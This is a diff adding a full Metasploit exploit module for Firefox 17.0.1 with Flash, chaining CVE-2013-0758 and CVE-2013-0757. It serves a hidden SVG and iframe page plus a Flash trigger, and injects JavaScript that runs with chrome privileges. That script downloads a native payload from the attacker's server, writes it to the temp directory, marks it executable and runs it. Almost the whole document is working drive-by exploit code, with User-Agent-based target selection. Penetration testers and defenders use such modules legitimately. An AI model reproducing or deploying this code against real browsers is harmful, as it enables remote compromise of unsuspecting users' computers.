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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 14 | + include Msf::Exploit::EXE |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Firefox 17.0.1 + Flash Privileged Code Injection', |
| 19 | + 'Description' => %q{ |
| 20 | + This exploit gains remote code execution on Firefox 17.0.1 and all previous |
| 21 | + versions, provided the user has installed Flash. No memory corruption is used. |
| 22 | +
|
| 23 | + First, a Flash object is cloned into the anonymous content of the SVG |
| 24 | + "use" element in the <body> (CVE-2013-0758). From there, the Flash object |
| 25 | + can navigate a child frame to a URL in the chrome:// scheme. |
| 26 | +
|
| 27 | + Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper |
| 28 | + around the child frame's window reference and inject code into the chrome:// |
| 29 | + context. Once we have injection into the chrome execution context, we can write |
| 30 | + the payload to disk, chmod it (if posix), and then execute. |
| 31 | +
|
| 32 | + Note: Flash is used here to trigger the exploit but any Firefox plugin |
| 33 | + with script access should be able to trigger it. |
| 34 | + }, |
| 35 | + 'License' => MSF_LICENSE, |
| 36 | + 'Targets' => |
| 37 | + [ |
| 38 | + [ 'Automatic', |
| 39 | + { |
| 40 | + 'Platform' => ['win', 'linux', 'osx'], |
| 41 | + 'Arch' => ARCH_X86 |
| 42 | + } |
| 43 | + ], |
| 44 | + [ 'Windows x86 (Native Payload)', |
| 45 | + { |
| 46 | + 'Platform' => 'win', |
| 47 | + 'Arch' => ARCH_X86 |
| 48 | + } |
| 49 | + ], |
| 50 | + [ 'Linux x86 (Native Payload)', |
| 51 | + { |
| 52 | + 'Platform' => 'linux', |
| 53 | + 'Arch' => ARCH_X86 |
| 54 | + } |
| 55 | + ], |
| 56 | + [ 'Mac OS X x86 (Native Payload)', |
| 57 | + { |
| 58 | + 'Platform' => 'osx', |
| 59 | + 'Arch' => ARCH_X86, |
| 60 | + } |
| 61 | + ] |
| 62 | + ], |
| 63 | + 'DefaultTarget' => 0, |
| 64 | + 'Author' => |
| 65 | + [ |
| 66 | + 'Marius Mlynski', # discovery & bug report |
| 67 | + 'joev', # metasploit module |
| 68 | + 'sinn3r' # metasploit fu |
| 69 | + ], |
| 70 | + 'References' => |
| 71 | + [ |
| 72 | + ['CVE', '2013-0758'], # navigate a frame to a chrome:// URL |
| 73 | + ['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome:// |
| 74 | + ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'], |
| 75 | + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906'] |
| 76 | + ], |
| 77 | + 'DisclosureDate' => 'Jan 08 2013' |
| 78 | + )) |
| 79 | + |
| 80 | + register_options( |
| 81 | + [ |
| 82 | + OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ), |
| 83 | + OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false]) |
| 84 | + ], Auxiliary::Timed) |
| 85 | + |
| 86 | + end |
| 87 | + |
| 88 | + def on_request_uri(cli, request) |
| 89 | + my_target = get_target(request.headers['User-Agent']) |
| 90 | + if my_target.nil? |
| 91 | + print_error("User agent does not match an available payload type, bailing.") |
| 92 | + send_not_found(cli) |
| 93 | + return |
| 94 | + end |
| 95 | + |
| 96 | + target = my_target |
| 97 | + |
| 98 | + if request.uri =~ /\.swf$/ |
| 99 | + # send Flash .swf for navigating the frame to chrome:// |
| 100 | + print_status("Sending .swf trigger.") |
| 101 | + send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' }) |
| 102 | + elsif request.uri =~ /\.bin/ |
| 103 | + # send the binary payload to drop & exec |
| 104 | + print_status("Child frame navigated. Sending binary payload to drop & execute.") |
| 105 | + send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' }) |
| 106 | + else |
| 107 | + # send initial HTML page |
| 108 | + print_status("Target selected: #{target.name}") |
| 109 | + print_status("Sending #{self.name}") |
| 110 | + send_response_html(cli, generate_html(target)) |
| 111 | + end |
| 112 | + handler(cli) |
| 113 | + end |
| 114 | + |
| 115 | + # @return [String] the encoded executable for dropping onto the client's machine |
| 116 | + def dropped_file_contents(cli, target) |
| 117 | + return if ((p=regenerate_payload(cli)) == nil) |
| 118 | + opts = target.opts |
| 119 | + exe = '' |
| 120 | + |
| 121 | + case target.name |
| 122 | + when /windows/i |
| 123 | + opts = opts.merge({:code=>p.encoded}) |
| 124 | + exe = generate_payload_exe(opts) |
| 125 | + when /linux/i |
| 126 | + exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts) |
| 127 | + when /os x/i |
| 128 | + exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts) |
| 129 | + end |
| 130 | + |
| 131 | + return exe |
| 132 | + end |
| 133 | + |
| 134 | + # @return [Msf::Module::Target] that matches the client's user-agent header |
| 135 | + def get_target(agent) |
| 136 | + # Not firefox, bail |
| 137 | + if agent !~ /firefox/i |
| 138 | + return nil |
| 139 | + end |
| 140 | + |
| 141 | + # User wants to manually specify a target, respect that |
| 142 | + if target != targets[0] |
| 143 | + return target |
| 144 | + end |
| 145 | + |
| 146 | + # os detection |
| 147 | + if agent =~ /windows/i |
| 148 | + targets[1] |
| 149 | + elsif agent =~ /linux/i |
| 150 | + targets[2] |
| 151 | + elsif agent =~ /macintosh/i and agent =~ /intel/i |
| 152 | + targets[3] |
| 153 | + else |
| 154 | + nil |
| 155 | + end |
| 156 | + end |
| 157 | + |
| 158 | + # @return [String] the contents of the .swf file used to trigger the exploit |
| 159 | + def flash_trigger |
| 160 | + swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf") |
| 161 | + @flash_trigger ||= File.read(swf_path) |
| 162 | + end |
| 163 | + |
| 164 | + # @return [String] the filename that will be used when the payload is dropped |
| 165 | + def payload_filename(target) |
| 166 | + if target.name =~ /Windows x86/i |
| 167 | + "#{Rex::Text.rand_text_alphanumeric(8)}.exe" |
| 168 | + else |
| 169 | + "#{Rex::Text.rand_text_alphanumeric(8)}.bin" |
| 170 | + end |
| 171 | + end |
| 172 | + |
| 173 | + # @return [String] containing javascript code to execute with chrome privileges |
| 174 | + def js_payload(target) |
| 175 | + %Q| |
| 176 | + #{js_debug("Injection successful. JS executing with chrome privileges.")} |
| 177 | + var x = new XMLHttpRequest; |
| 178 | + x.overrideMimeType('text/plain; charset=x-user-defined'); |
| 179 | + x.open('POST', '#{base_url}.bin', false); |
| 180 | + x.send(null); |
| 181 | + #{js_debug("'Payload: '+x.responseText", "")} |
| 182 | + var file = Components.classes["@mozilla.org/file/directory_service;1"] |
| 183 | + .getService(Components.interfaces.nsIProperties) |
| 184 | + .get("TmpD", Components.interfaces.nsIFile); |
| 185 | + file.append('#{payload_filename(target)}'); |
| 186 | + var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] |
| 187 | + .createInstance(Components.interfaces.nsIFileOutputStream); |
| 188 | + stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0); |
| 189 | + stream.write(x.responseText, x.responseText.length); |
| 190 | + if (stream instanceof Components.interfaces.nsISafeOutputStream) { |
| 191 | + stream.finish(); |
| 192 | + } else { |
| 193 | + stream.close(); |
| 194 | + } |
| 195 | + #{chmod_code(target)} |
| 196 | + #{js_debug("'Downloaded to: '+file.path", "")} |
| 197 | + var process = Components.classes["@mozilla.org/process/util;1"] |
| 198 | + .createInstance(Components.interfaces.nsIProcess); |
| 199 | + process.init(file); |
| 200 | + process.run(false, [], 0); |
| 201 | + | |
| 202 | + end |
| 203 | + |
| 204 | + # @return [String] containing javascript that will alert a debug string |
| 205 | + # if the DEBUG is set to true |
| 206 | + def js_debug(str, quote="'") |
| 207 | + if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end |
| 208 | + end |
| 209 | + |
| 210 | + # @return [String] containing javascript that will chmod the dropped executable |
| 211 | + def chmod_code(target) |
| 212 | + return '' if target.name == 'Windows x86 (Native Payload)' |
| 213 | + %Q| |
| 214 | + var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); |
| 215 | + chmod.initWithPath("/bin/chmod"); |
| 216 | + var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); |
| 217 | + process.init(chmod); |
| 218 | + process.run(true, ["+x", file.path], 2); |
| 219 | + | |
| 220 | + end |
| 221 | + |
| 222 | + # @return [String] URL for sending requests back to the module |
| 223 | + def base_url |
| 224 | + proto = (datastore["SSL"] ? "https" : "http") |
| 225 | + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] |
| 226 | + "#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}" |
| 227 | + end |
| 228 | + |
| 229 | + # @return [String] HTML that is sent in the first response to the client |
| 230 | + def generate_html(target) |
| 231 | + vars = { |
| 232 | + :symbol_id => 'a', |
| 233 | + :random_domain => 'safe', |
| 234 | + :payload => js_payload(target), |
| 235 | + :payload_var => 'c', |
| 236 | + :payload_key => 'k', |
| 237 | + :payload_obj_var => 'payload_obj', |
| 238 | + :interval_var => 'itvl', |
| 239 | + :access_string => 'access', |
| 240 | + :frame_ref => 'frames[0]', |
| 241 | + :frame_name => 'n', |
| 242 | + :loader_path => "#{base_url}.swf", |
| 243 | + :content => self.datastore['CONTENT'] || '' |
| 244 | + } |
| 245 | + %Q| |
| 246 | + <!doctype html> |
| 247 | + <html> |
| 248 | + <head> |
| 249 | + <base href="chrome://browser/content/"> |
| 250 | + </head> |
| 251 | + <body> |
| 252 | +
|
| 253 | + <svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'> |
| 254 | + <symbol id="#{vars[:symbol_id]}"> |
| 255 | + <foreignObject> |
| 256 | + <object></object> |
| 257 | + </foreignObject> |
| 258 | + </symbol> |
| 259 | + <use /> |
| 260 | + </svg> |
| 261 | +
|
| 262 | + <script> |
| 263 | + var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})}; |
| 264 | + var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}']; |
| 265 | + function $() { |
| 266 | + document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/"; |
| 267 | + } |
| 268 | + function _() { |
| 269 | + return '#{vars[:frame_name]}'; |
| 270 | + } |
| 271 | + var #{vars[:interval_var]} = setInterval(function(){ |
| 272 | + try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] } |
| 273 | + catch(e){ |
| 274 | + clearInterval(#{vars[:interval_var]}); |
| 275 | + var p = Object.getPrototypeOf(#{vars[:frame_ref]}); |
| 276 | + var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}}; |
| 277 | + Object.prototype.__lookupSetter__("__proto__").call(p, o); |
| 278 | + p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1); |
| 279 | + } |
| 280 | + }, 100); |
| 281 | + document.querySelector('object').data = "#{vars[:loader_path]}"; |
| 282 | + document.querySelector('use').setAttributeNS( |
| 283 | + "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}" |
| 284 | + ); |
| 285 | + </script> |
| 286 | +
|
| 287 | + <iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px" |
| 288 | + name="#{vars[:frame_name]}"></iframe> |
| 289 | + #{vars[:content]} |
| 290 | + </body> |
| 291 | + </html> |
| 292 | + | |
| 293 | + end |
| 294 | +end |
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